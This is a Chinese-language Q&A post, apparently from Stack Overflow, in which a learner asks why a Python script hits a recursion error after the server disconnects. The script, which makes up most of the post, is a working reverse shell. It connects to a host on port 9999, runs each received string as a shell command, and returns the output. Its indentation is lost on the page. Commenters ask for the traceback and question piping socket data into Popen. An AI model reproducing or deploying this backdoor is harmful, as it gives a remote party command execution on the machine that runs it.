【发布时间】:2017-04-22 23:15:14
【问题描述】:
这是我在学习 Python 时编写的一个小脚本,但由于某种原因,它告诉我它无法从堆栈溢出中恢复。当另一台服务器断开连接时会发生这种情况。
脚本:
#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999
def connect():
try:
s.connect((host,port))
except Exception as msg:
print("ERROR HAPPEND 2 ")
connect()
else:
Work()
def Work():
while True:
data = s.recv(1024)
print("Data : " + data.decode('utf-8'))
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) >0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes , "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
else:
s.shutdown(socket.SHUT_RDWR)
s.close()
thread1 = threading.Thread(target = connect)
thread1.start()
break
connect()
【问题讨论】:
-
你能粘贴完整的错误吗?
-
请发布堆栈跟踪
-
什么堆栈溢出?您是否真的将从套接字接收到的数据直接传输到 Popen 中?
-
修正缩进。
else与什么匹配?
标签: python sockets stack overflow